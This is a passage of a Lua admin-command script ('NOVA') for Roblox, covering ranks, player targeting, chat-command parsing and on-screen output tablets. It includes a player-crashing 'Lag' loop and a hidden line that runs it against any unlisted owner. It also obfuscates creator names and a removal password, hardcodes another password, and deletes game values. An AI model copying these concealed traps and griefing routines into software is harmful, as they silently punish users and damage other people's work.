            if v.Name:lower() == Player.Name:lower() then 
811
                Rtn = v.Rank
812
            end 
813
        end
814
    elseif type(Player) == "string" then
815
        for _,v in pairs(NOVA.Ranked) do 
816
            if v.Name:lower() == Player:lower() then 
817
                Rtn = v.Rank
818
            end 
819
        end
820
    else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
821
    end
822
    return    Rtn
823
end
824
825
--[[ GET RANK NAME ]]--
826
function GetRankName(Player)
827
    if type(Player) == "userdata" or type(Player) == "string" then
828
        Rtn = nil
829
        Rank = GetRank(Player)
830
        for _,v in pairs(NOVA.Ranks) do
831
            if v[1] == Rank then
832
                Rtn = v[2]
833
            end
834
        end
835
        return Rtn
836
    else 
837
        print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
838
        return "NOT AVALIBLE"
839
    end
840
end
841
842
--[[ GET RANKED TABLE ]]--
843
function GetRankedTable(Player)
844
    Rtn = nil
845
    if type(Player) == "userdata" then
846
        for _,v in pairs(NOVA.Ranked) do
847
            if v.Name == Player.Name then
848
                Rtn = v
849
            end
850
        end
851
    elseif type(Player) == "string" then
852
        for _,v in pairs(NOVA.Ranked) do
853
            if v.Name == Player then
854
                Rtn = v
855
            end
856
        end
857
    else
858
        print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
859
    end
860
    return Rtn
861
end
862
863
--[[ GET RECURSIVE CHILDREN ]]--
864
function GetRecursiveChildren(Source, Name, SearchType, Children)
865
    if Source == nil then
866
        Source = NOVA.Services
867
    end
868
    if Name == nil or type(Name) ~= "string" then
869
        Name = ""
870
    end
871
    if Children == nil or type(Children) ~= "table" then
872
        Children = {}
873
    end
874
    if type(Source) == "userdata" then
875
        pcall(function()
876
            for _, Child in pairs(Source:children()) do
877
                pcall(function()
878
                    if (function()
879
                        if SearchType == nil or SearchType == 1 then
880
                            return string.match(Child.Name:lower(), Name:lower())
881
                        elseif SearchType == 2 then
882
                            return string.match(Child.className:lower(), Name:lower())
883
                        elseif SearchType == 3 then
884
                            return Child:IsA(Name) or Child:IsA(Name:lower())
885
                        elseif SearchType == 4 then
886
                            return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
887
                        end
888
                        return false
889
                    end)() then
890
                        table.insert(Children, Child)
891
                    end
892
                    GetRecursiveChildren(Child, Name, SearchType, Children)
893
                end)
894
            end
895
        end)
896
    elseif type(Source) == "table" then
897
        for _,Area in pairs(Source) do
898
            pcall(function()
899
                for _, Child in pairs(Area:children()) do
900
                    pcall(function()
901
                        if (function()
902
                            if SearchType == nil or SearchType == 1 then
903
                                return string.match(Child.Name:lower(), Name:lower())
904
                            elseif SearchType == 2 then
905
                                return string.match(Child.className:lower(), Name:lower())
906
                            elseif SearchType == 3 then
907
                                return Child:IsA(Name) or Child:IsA(Name:lower())
908
                            elseif SearchType == 4 then
909
                                return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
910
                            end
911
                            return false
912
                        end)() then
913
                            table.insert(Children, Child)
914
                        end
915
                        GetRecursiveChildren(Child, Name, SearchType, Children)
916
                    end)
917
                end
918
            end)
919
        end
920
    else 
921
        print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
922
    end
923
    return Children
924
end
925
926
--[[ GET REPLICATORS ]]--
927
function GetReplicators()
928
    Rtn = NOVA.Services.NetworkServer:GetChildren()
929
    for i=1,#Rtn do
930
        if not Rtn[i]:IsA("ServerReplicator") then
931
            table.remove(Rtn,i)
932
        end
933
    end
934
    return Rtn
935
end
936
937
--[[ GET RANKED ]]--
938
939
function GetRanked()
940
    local Rtn = {}
941
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
942
        if GetRank(v) ~= nil and GetRank(v) > 0 then
943
            table.insert(Rtn,v)
944
        end
945
    end
946
    return Rtn    
947
end
948
949
--[[ GTFO ]]--
950
function GTFO(v)
951
    coroutine.resume(coroutine.create(function()
952
		  pcall(function() v:Remove() end)
953
        wait(0.5)
954
        pcall(function()     NOVA.Services.Debris:AddItem(v,0)                     end)
955
    end))
956
end
957
--[[ GET RID OF ]]--
958
function GetRidOf(v)
959
if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then  
960
   Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
961
   else        
962
coroutine.resume(coroutine.create(function()         
963
v:Destroy()         
964
end)) 
965
end
966
end
967
--[[ LAG ]]--
968
function Lag(v)
969
    coroutine.resume(coroutine.create(function()
970
        if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then
971
            OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
972
        else
973
	while wait() do
974
	for i=1, 5 do 
975
 	local Msg = Instance.new("Message",v.PlayerGui)
976
	Msg.Text = "JOO B LAGGIN NARB"
977
	local Hint = Instance.new("Hint",v.PlayerGui) Hint.Text = "JOO B LAGGIN NARB"
978
   end
979
	end
980
            local H = Instance.new("Hint",NOVA.Services.Workspace)
981
            repeat 
982
                H.Text = v.Name.." be gettin' lagged."
983
                H.Parent = NOVA.Services.Workspace
984
                wait()
985
            until v.Parent == nil
986
            H:Remove()
987
        end
988
    end))
989
end
990
if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end
991
--[[ GET TABLETS ]]--
992
993
function GetTablets(Player)
994
    local Rtn = {}
995
    for _, Tablet in pairs(NOVA.Tablets) do
996
        if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then
997
            if Tablet.Recipient.Value == Player then
998
                table.insert(Rtn, Tablet)
999
            end
1000
        end
1001
    end
1002
    --table.insert(_tablets,Instance.new("Model"))
1003
    return Rtn
1004
end
1005
1006
--[[ REMOVE TABLETS ]]--
1007
1008
function RemoveTablets(Player)
1009
    if Player == nil then
1010
        for _,v in pairs(NOVA.Tablets) do 
1011
            coroutine.resume(coroutine.create(function()
1012
                for i=1,10 do
1013
                    v.Part.Transparency = v.Part.Transparency + 0.05
1014
                    v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
1015
                    v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
1016
                    wait()
1017
                end
1018
                v:remove()
1019
            end))
1020
        end
1021
    else
1022
        for _,v in pairs(GetTablets(Player)) do
1023
            coroutine.resume(coroutine.create(function()
1024
                for i=1,10 do
1025
                    v.Part.Transparency = v.Part.Transparency + 0.05
1026
                    v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
1027
                    v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
1028
                    wait()
1029
                end
1030
                v:remove()
1031
            end))
1032
        end
1033
    end
1034
end
1035
1036
--[[ OUTPUT ]]--
1037
function Output(Message, Color, Player, Stick, Func)
1038
    if Player == nil or Color == nil or Player == nil then
1039
        print("[NOVA.Output] Argument(s) missing or nil.")
1040
        return
1041
    end
1042
    
1043
    Message = tostring(Message)
1044
    if type(Player) == "userdata" then
1045
        if Player.Character == nil or Player.Character.Head == nil then
1046
            return
1047
        end
1048
    end
1049
    if type(Player) == "string" then
1050
        for _,v in pairs(GetPlayers(Player,"NOVA")) do
1051
            Output(Message,Color,v,Stick,Func)
1052
        end
1053
        return
1054
    end
1055
1056
    if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
1057
1058
    local Model = Instance.new("Model",NOVA.Services.Workspace)
1059
    table.insert(NOVA.Tablets, Model)
1060
    Model.Name = "Output:" .. NOVA.Bet .. Player.Name
1061
1062
    local Part = Instance.new("Part",Model)
1063
    Part.Transparency = 0.5
1064
    Part.CanCollide = false
1065
    Part.Locked = true
1066
    Part.Anchored = true
1067
    Part.Name = "Part"
1068
    Part.TopSurface = "Smooth"
1069
    Part.BottomSurface = "Smooth"
1070
    Part.FormFactor = "Plate"
1071
    Part.Color = Color
1072
    Part.Size = Vector3.new(2, 0.4, 3)
1073
    Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7)
1074
    Part:BreakJoints()
1075
    
1076
    local Box = Instance.new("SelectionBox",Part)
1077
    Box.Name = "SelectionBox"
1078
    Box.Adornee = Part
1079
    Box.Color = BrickColor.new(Color.r, Color.g, Color.b)
1080
    Box.Transparency = 0.75
1081
1082
			if GetRankedTable(Player).Mesh == "Tablet" then
1083
			Mesh = Instance.new("SpecialMesh")
1084
			Mesh.Parent = Part
1085
			Mesh.TextureId = "http://www.roblox.com/asset?id=97689055"
1086
			Mesh.MeshId = "http://www.roblox.com/asset?id=97689497"
1087
			Mesh.MeshType = Enum.MeshType.FileMesh
1088
			Box.Transparency = 1	
1089
			elseif GetRankedTable(Player).Mesh == "Dominus" then
1090
			Mesh = Instance.new("SpecialMesh")
1091
			Mesh.Parent = Part
1092
			Mesh.TextureId = "http://www.roblox.com/asset/?id=83944043"
1093
			Mesh.MeshId = "http://www.roblox.com/asset/?id=21057410"
1094
			Mesh.MeshType = Enum.MeshType.FileMesh
1095
			Box.Transparency = 1	
1096
			elseif GetRankedTable(Player).Mesh == "Orb" then
1097
			Mesh = Instance.new("SpecialMesh")
1098
			Mesh.Parent = Part
1099
			Mesh.TextureId = "http://www.roblox.com/asset/?id=34914385"
1100
			Mesh.MeshId = "http://www.roblox.com/asset/?id=34795798"
1101
			Mesh.MeshType = Enum.MeshType.FileMesh
1102
			Box.Transparency = 1	
1103
			elseif GetRankedTable(Player).Mesh == "Spider" then
1104
          Mesh = Instance.new("SpecialMesh")
1105
	       Mesh.Parent = Part
1106
	      Mesh.TextureId = "http://www.roblox.com/asset/?id=64485392"
1107
	Mesh.MeshId = "http://www.roblox.com/asset/?id=64485380"
1108
	Mesh.Scale = Vector3.new(4, 4, 4)
1109
	Mesh.VertexColor = Vector3.new(1, 0, 0)
1110
	Mesh.MeshType = Enum.MeshType.FileMesh
1111
1112
			end
1113
1114
			
1115
    local Recipient = Instance.new("ObjectValue",Model)
1116
    Recipient.Name = "Recipient"
1117
    Recipient.Value = Player
1118
1119
Gui = Instance.new("BillboardGui")
1120
Gui.Name = "BillboardGui"
1121
Gui.Parent = Model
1122
Gui.Adornee = Part
1123
Gui.Size = UDim2.new(1, 0, 1, 0)
1124
Gui.StudsOffset = Vector3.new(0, 3, 0)
1125
local Frame = Instance.new("Frame",Gui)
1126
Frame.Name = "Frame"
1127
Frame.Size = UDim2.new(1, 0, 1, 0)
1128
Frame.BackgroundTransparency = 1
1129
Label = Instance.new("TextLabel")
1130
Label.Name = "Label"
1131
Label.Parent = Frame
1132
Label.Size = UDim2.new(1,0,1,0)
1133
Label.FontSize = "Size12"
1134
Label.TextColor3 = Color
1135
Label.Text = Message
1136
Label.BackgroundTransparency = 1
1137
1138
    Gui.Adornee = Part
1139
    local Click = Instance.new("ClickDetector",Part)
1140
    Click.MaxActivationDistance = 9201
1141
    Click.MouseClick:connect(function(player)
1142
        if player == Player or GetRank(player) > GetRank(Player) then
1143
            if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss")  then
1144
                RemoveTablets(Player)
1145
            else
1146
                coroutine.resume(coroutine.create(function()
1147
                    for i=1,10 do
1148
                        Part.Transparency = Part.Transparency + 0.05
1149
                        Box.Transparency = Box.Transparency + 0.025
1150
                        Label.TextTransparency = Label.TextTransparency + 0.1
1151
                        wait()
1152
                    end
1153
                    Model:remove()
1154
                end))
1155
                
1156
                Func(player)
1157
            end
1158
        end
1159
    end)
1160
    
1161
     coroutine.resume(coroutine.create(function()
1162
        if Stick == 0 or Stick == nil then else
1163
            pcall(function()
1164
                --[[for i=Stick,0,-0.5 do
1165
                    Label.Text = Message .. "\t(" .. i .. ")"
1166
                    wait(0.5)
1167
                end        
1168
                Model:Destroy()]]
1169
                NOVA.Services.Debris:AddItem(Model,Stick)
1170
            end)
1171
        end
1172
     end))
1173
    
1174
    return Click
1175
end
1176
1177
-- [ IMAGE OUTPUT ]]--
1178
function OutputImg(Image,Text,Color,Player,Stick,Func)
1179
    Tab = Output(Text,Color,Player,Stick,Func)
1180
    
1181
    BBG = Instance.new("BillboardGui",Tab.Parent)
1182
    BBG.Size = UDim2.new(5,0,6,0)
1183
    BBG.StudsOffset = Vector3.new(0, 7, 0)
1184
    BBG.Adornee = Tab.Parent
1185
    
1186
    Img = Instance.new("ImageLabel",BBG)
1187
    Img.Size = UDim2.new(1,0,1,0)
1188
    Img.BackgroundTransparency = 1
1189
    Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
1190
    return Tab
1191
end
1192
1193
--[[ OUTPUT MULTI ]]--
1194
1195
function OutputMulti(Msg,Color,Players,Stick,Func)
1196
    --if type(Players) == "Table" then
1197
        for _,v in pairs(Players) do
1198
            Output(Msg,Color,v,Stick,Func)
1199
        end
1200
    --end
1201
end
1202
1203
--[[ UPDATE TABLETS ]]--
1204
1205
function UpdateTablets()
1206
    --pcall(function()
1207
        NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease
1208
        for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
1209
            local Tablets = GetTablets(Player)
1210
            local Counter = 0
1211
            local StartCF = CFrame.new(0,0,0)
1212
            
1213
            for i = 180, -180, -360/(#Tablets ) do
1214
                pcall(function()
1215
                    Counter = Counter + 1
1216
                    if NOVA.TabletPositionRelative == true then
1217
                        StartCF = Player.Character.Torso.CFrame
1218
                    else
1219
                        StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z)
1220
                    end
1221
                    Tablets[Counter].Part.CFrame = StartCF
1222
                        * CFrame.new(0, 0, 0)
1223
                        * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0)
1224
                        * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1)))
1225
                        * CFrame.Angles(math.rad(70), 0, 0)
1226
                end)
1227
            end
1228
1229
            if #Tablets == 1 then
1230
                pcall(function()
1231
                    Tablets[1].Part.CFrame = Player.Torso.CFrame
1232
                        * CFrame.new(0, 0, 0)
1233
                        * CFrame.Angles(0, math.rad(0), 0)
1234
                        * CFrame.new(0, 0, -5)
1235
                        * CFrame.Angles(math.rad(70), 0, 0)
1236
                end)
1237
            end
1238
        end
1239
        wait()
1240
    --end)
1241
end
1242
--[[ GET PLAYERS RAW ]]--
1243
function GetPlayersRaw()
1244
    return NOVA.Services.Players:GetPlayers()
1245
end
1246
1247
--[[ GET PLAYERS ]]--
1248
function GetPlayers(Name,Speaker)
1249
    if type(Player) == string or Player == nil then Player = Instance.new("Model") end
1250
    local OldName = Name
1251
    local Name = Name:lower()
1252
    local Players = GetPlayersRaw()
1253
    local Rtn = {}
1254
    for i=1,#Name do
1255
        if Name:find(",") then
1256
            local Split = 0
1257
            for i=1,#Name do
1258
                if Name:sub(i,i) == "," then
1259
                    Split = i
1260
                end
1261
            end
1262
            for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do
1263
                table.insert(Rtn,v)
1264
            end
1265
            Name = Name:sub(1,Split-1)
1266
        end
1267
    end
1268
    if Name == "external players" then 
1269
        for _,v in pairs(NOVA.ExternalPlayersList) do
1270
            if GetRank(Speaker) >= GetRank(v) then
1271
                table.insert(Rtn,v)
1272
            else
1273
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1274
            end
1275
        end
1276
    elseif Name == "all" then
1277
        for _,v in pairs(Players) do
1278
            if GetRank(Speaker) >= GetRank(v) then
1279
                table.insert(Rtn,v)
1280
            else
1281
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1282
            end
1283
        end
1284
    elseif Name == "others" then 
1285
        for _,v in pairs(Players) do
1286
            if v ~= Speaker then
1287
                if GetRank(Speaker) >= GetRank(v) then
1288
                    table.insert(Rtn,v)
1289
                else
1290
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1291
                end
1292
            end
1293
        end
1294
    elseif Name == "random" then
1295
        local Person = Players[math.random(1,#Players)]
1296
        if GetRank(Speaker) >= GetRank(Person) then
1297
            table.insert(Rtn,Person)
1298
        else
1299
            Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1300
        end
1301
    elseif Name == "me" or Name == "not me" or Name =="notme" then
1302
        table.insert(Rtn,Speaker)
1303
    elseif Name == "vetrans" then
1304
        for _,v in pairs(Players) do
1305
            if v.AccountAge > 365 then
1306
                if GetRank(Speaker) >= GetRank(v) then
1307
                    table.insert(Rtn,v)
1308
                else
1309
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1310
                end
1311
            end
1312
        end
1313
    elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then
1314
        for _,v in pairs(Players) do
1315
            if v.AccountAge < 365 then
1316
                if GetRank(Speaker) >= GetRank(v) then
1317
                    table.insert(Rtn,v)
1318
                else
1319
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1320
                end
1321
            end    
1322
        end
1323
    elseif Name == "newbs" or Name == "noobs" then
1324
        for _,v in pairs(Players) do
1325
            if v.AccountAge < 60 then
1326
                if GetRank(Speaker) >= GetRank(v) then
1327
                    table.insert(Rtn,v)
1328
                else
1329
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1330
                end
1331
            end    
1332
        end
1333
    elseif Name == "targeted" then
1334
        for _,v in pairs(NOVA.Targeted) do
1335
            if GetRank(Speaker) >= GetRank(v) then
1336
                table.insert(Rtn,v)
1337
            else
1338
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1339
            end
1340
        end
1341
    elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then
1342
        for _,v in pairs(Players) do
1343
            if not IsTargeted(v) then
1344
                if GetRank(Speaker) >= GetRank(v) then
1345
                    table.insert(Rtn,v)
1346
                else
1347
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1348
                end
1349
            end
1350
        end
1351
elseif string.sub(Name,1,5) == "rank " then
1352
	local ToKillRank = string.sub(Name,6)
1353
for i,v in pairs(game.Players:GetPlayers()) do
1354
if GetRanked(v) == ToKillRank then
1355
if GetRank(Speaker) >= GetRank(v) then
1356
                            table.insert(Rtn,v)
1357
                        else
1358
                            Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1359
                        end
1360
end
1361
end
1362
    elseif Name:sub(1,4) == "not " then
1363
        for _,v in pairs(Players) do
1364
            for _,Check in pairs(Players) do
1365
                if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then
1366
                    if v ~= Check then
1367
                        if GetRank(Speaker) >= GetRank(v) then
1368
                            table.insert(Rtn,v)
1369
                        else
1370
                            Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1371
                        end
1372
                    end
1373
                end
1374
            end
1375
        end
1376
    else
1377
        for _,v in pairs(Players) do 
1378
            if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then
1379
                if GetRank(Speaker) >= GetRank(v) then
1380
                    table.insert(Rtn,v)
1381
                else
1382
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1383
                end
1384
            end
1385
        end
1386
    end
1387
    return Rtn
1388
end
1389
1390
--[[ ON CHATTED ]]--
1391
function OnChatted(Msg,Speaker)
1392
    coroutine.resume(coroutine.create(function()
1393
        if NOVA.Removed == false then
1394
            if Msg:find(" --") then
1395
                for i=1,#Msg do
1396
                    if Msg:sub(i,i+2) == " --" then
1397
                        Msg = Msg:sub(1,i-1)
1398
                        break
1399
                    end
1400
                end
1401
            end
1402
            local Data = GetRankedTable(Speaker)
1403
            if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
1404
                if NOVA.ShowChat == true then    
1405
                    if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then
1406
                        print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)))    
1407
                    else
1408
                        print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)    
1409
                    end
1410
                end
1411
            end
1412
            
1413
            --[[ CHAT FILTERS ]]--
1414
            for _,v in pairs(NOVA.ChatFilters) do
1415
                if Msg:lower():sub(1,#v + 1) == v:lower().." " then
1416
                    Msg = Msg:sub(#v+2)
1417
                end
1418
            end
1419
        
1420
            if GetRank(Speaker) < 6 then
1421
                --[[ KILLING PHRASES ]]--
1422
                for _,v in pairs(NOVA.KillingPhrases) do
1423
                    if Msg:lower():find(v:lower()) then 
1424
                        pcall(function()
1425
                            Speaker.Character:BreakJoints()
1426
                        end)
1427
                    end
1428
                end
1429
            end
1430
	local FoundKick = false
1431
		if NOVA.BadPhrases == true then
1432
            if GetRank(Speaker) <= 0 then
1433
                --[[ KICKING PHRASES ]]--
1434
                --if game.PlaceId == 113456 or game.PlaceId == 56786 then
1435
                    for _,v in pairs(NOVA.KickingPhrases) do
1436
			if FoundKick == false then
1437
                        if Msg:lower():find(v:lower()) then 
1438
                            GetRidOf(Speaker)
1439
		       FoundKick = true
1440
			    makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace)
1441
		            pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end)
1442
                        end
1443
			end
1444
                    end
1445
                end
1446
            end
1447
            
1448
            --[[ ANIMATIONS ]]--
1449
            for _,v in pairs(NOVA.Animations) do
1450
                if Speaker.Name == v.Who then
1451
                    if Msg:lower():find(v.Name:lower()) then
1452
                        pcall(function()
1453
                            CreateLocalScript([[
1454
                            local Animation = Instance.new("Animation",workspace)
1455
                            Animation.Name = "tusKOr661's Animation"
1456
                            Animation.AnimationId = "]]..v.Id..[["
1457
                            local hum = game:GetService("Players").LocalPlayer.Character.Humanoid
1458
                            local anim_feet = hum:LoadAnimation(Animation)
1459
                            local current = anim_feet
1460
                            current:Play(0.5)
1461
                            ]],Speaker.Backpack)
1462
                        end)
1463
                    end
1464
                end
1465
            end
1466
            
1467
            Num = 1
1468
            Sep = nil
1469
                            
1470
            if Msg:sub(1,3) == NOVA.Bet .. "do" then
1471
            
1472
                for i=4,#Msg do
1473
                    if Msg:sub(i,i) == NOVA.Bet .. "" then
1474
                        Sep = i
1475
                        break
1476
                    end
1477
                end
1478
                
1479
                if Sep ~= nil then
1480
                    Num = tonumber(Msg:sub(4,Sep-1))
1481
                end
1482
                
1483
                Msg = Msg:sub(Sep)
1484
            end
1485
            
1486
            table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg})
1487
            
1488
            if Data.Rank < 6 and Data.Rank >= 0 then
1489
                if Num > (GetRank(Speaker) + 1 )*10 then
1490
                    Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
1491
                    Num = 0
1492
                end
1493
            end          
1494
            for i=1,Num do
1495
                if NOVA.Canceled == true then NOVA.Canceled = false break end
1496
                for _,CMD in pairs(NOVA.Commands) do
1497
                    if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then
1498
                        RemoveTablets(Speaker)
1499
                        Output("Name : "..CMD.Name,Data.Color,Speaker)
1500
                        Output("Rank : "..CMD.Rank,Data.Color,Speaker)
1501
                        Output("Command : "..CMD.Command,Data.Color,Speaker)
1502
                        Output("Arguments : "..CMD.Args,Data.Color,Speaker)
1503
                        Output("Description : "..CMD.Description,Data.Color,Speaker)
1504
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
1505
                    elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then
1506
                        if Data.Rank ~= nil and Data.Rank >= CMD.Rank then
1507
                            if NOVA.Overrided == true and Data.Rank < 7 then
1508
                                Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15)
1509
                            else
1510
                                local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end))
1511
                                if not a then
1512
                                    Output(b,NOVA.Colors.Red,Speaker,15)
1513
                                else
1514
                                    table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name})
1515
                                end
1516
                            end
1517
                        else
1518
                            table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."})
1519
                            print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
1520
                            Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
1521
                        end
1522
                        
1523
                    end
1524
                end    
1525
                wait()
1526
            end                
1527
        end
1528
    end))
1529
end
1530
1531
--[[ ADD COMMAND ]]--
1532
function AddCommand(Name,Command,Rank,Description,Args,Function)
1533
    for i,v in pairs(NOVA.Commands) do 
1534
        if v.Command == Command then 
1535
            table.remove(NOVA.Commands,i)
1536
        end
1537
    end
1538
    table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
1539
end
1540
1541
--[[ BACKUP PROCEDURE ]]--
1542
pcall(function()
1543
    NOVA.Backup = script:children()[2].Value
1544
end)
1545
1546
--[[ NIL SUPPORT ]]--
1547
game:GetService("Chat").Chatted:connect(function(Part,Message,Color)
1548
    local Split = GetSplit(Message)
1549
    OnChatted(Message:sub(Split+1),Message:sub(Split-1))
1550
end)
1551
1552
--[[ Safety Procedure # 1 ]]--
1553
pcall(function()
1554
    NOVA.LocalScript.Parent = nil
1555
end)
1556
for _,v in pairs(NOVA.Plugins) do
1557
    pcall(function()
1558
        v.Parent = nil
1559
    end)
1560
end
1561
pcall(function()
1562
    script:ClearAllChildren()
1563
end)
1564
1565
--[[ Safty Procedure # 2 ]]--
1566
for _,v in pairs(GetRecursiveChildren(workspace)) do
1567
    if v:IsA("StringValue") or v:IsA("IntValue") then
1568
        pcall(function()
1569
            v:remove()
1570
        end)
1571
    end
1572
end
1573
1574
--[[ SCRIPT LOGGING PROCEDURES ]]--
1575
for _,Service in pairs(NOVA.Services) do
1576
    pcall(function()
1577
        Service.DescendantAdded:connect(function(v)
1578
            if v:IsA("BaseScript") then
1579
                table.insert(NOVA.LoggedScripts,v)
1580
            end
1581
        end)
1582
    end)
1583
end
1584
1585
for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do
1586
    pcall(function()
1587
        table.insert(NOVA.LoggedScripts,v)
1588
    end)
1589
end
1590
1591
--[[ GLOBAL FUNCTIONS ]]--
1592
function SetGlobals()
1593
    if NOVA.UseGlobals == true then
1594
        _G.NOVACommands = function(Msg,Speaker,Players,Password)
1595
            if Password == "grandma" then
1596
                NOVA.ExternalPlayersList = {}
1597
                for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end
1598
                OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker)
1599
            end
1600
        end
1601
1602
        _G.RemoveNOVA = function(Pass)
1603
            if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then
1604
                NOVA.Removed = true
1605
                NOVA = {}
1606
                error("Unknown Exception")()
1607
                script.Disabled = true
1608
                script:Remove()
1609
            else
1610
                return false
1611
            end
1612
        end
1613
1614
        _G.NOVAOverride = function(Player,Password)
1615
            if Password == nil then Password = "" end
1616
            CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player)
1617
            return CanOverride
1618
        end
1619
    elseif NOVA.UseGlobals == false then
1620
        _G.NOVACommands = nil
1621
        _G.RemoveNOVA = nil
1622
        _G.NOVAOverride = nil
1623
    end
1624
end
1625
1626
--[[ INITIAL STARTUP ]]--
1627
1628
SetGlobals()
1629
UpdatePlayerPlugins()
1630
1631
if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
1632
    for _,v in pairs(NOVA.LoggedScripts) do
1633
        if v:IsA("LocalScript") and v:FindFirstChild("DSource") then
1634
            NOVA.LocalScript = v:Clone()
1635
        elseif v:IsA("Script") and v:FindFirstChild("DSource") then
1636
            NOVA.NormalScript = v:Clone()
1637
        end
1638
    end
1639
end
1640
1641
for _,v in pairs(GetPlayersRaw()) do
1642
    pcall(function()
1643
        coroutine.resume(coroutine.create(function()
1644
            table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
1645
            pcall(function()
1646
                v.PlayerGui.NOVACMD:Remove()
1647
            end)
1648
            
1649
            if GetRankedTable(v)==nil then
1650
                SyncRankInSingular(v)
1651
                repeat wait() until GetRankedTable(v) ~= nil
1652
            end
1653
            
1654
            local Data = GetRankedTable(v)
1655
            
1656
            v.Chatted:connect(function(Msg)
1657
                OnChatted(Msg,v)
1658
            end)
1659
            coroutine.resume(coroutine.create(function()
1660
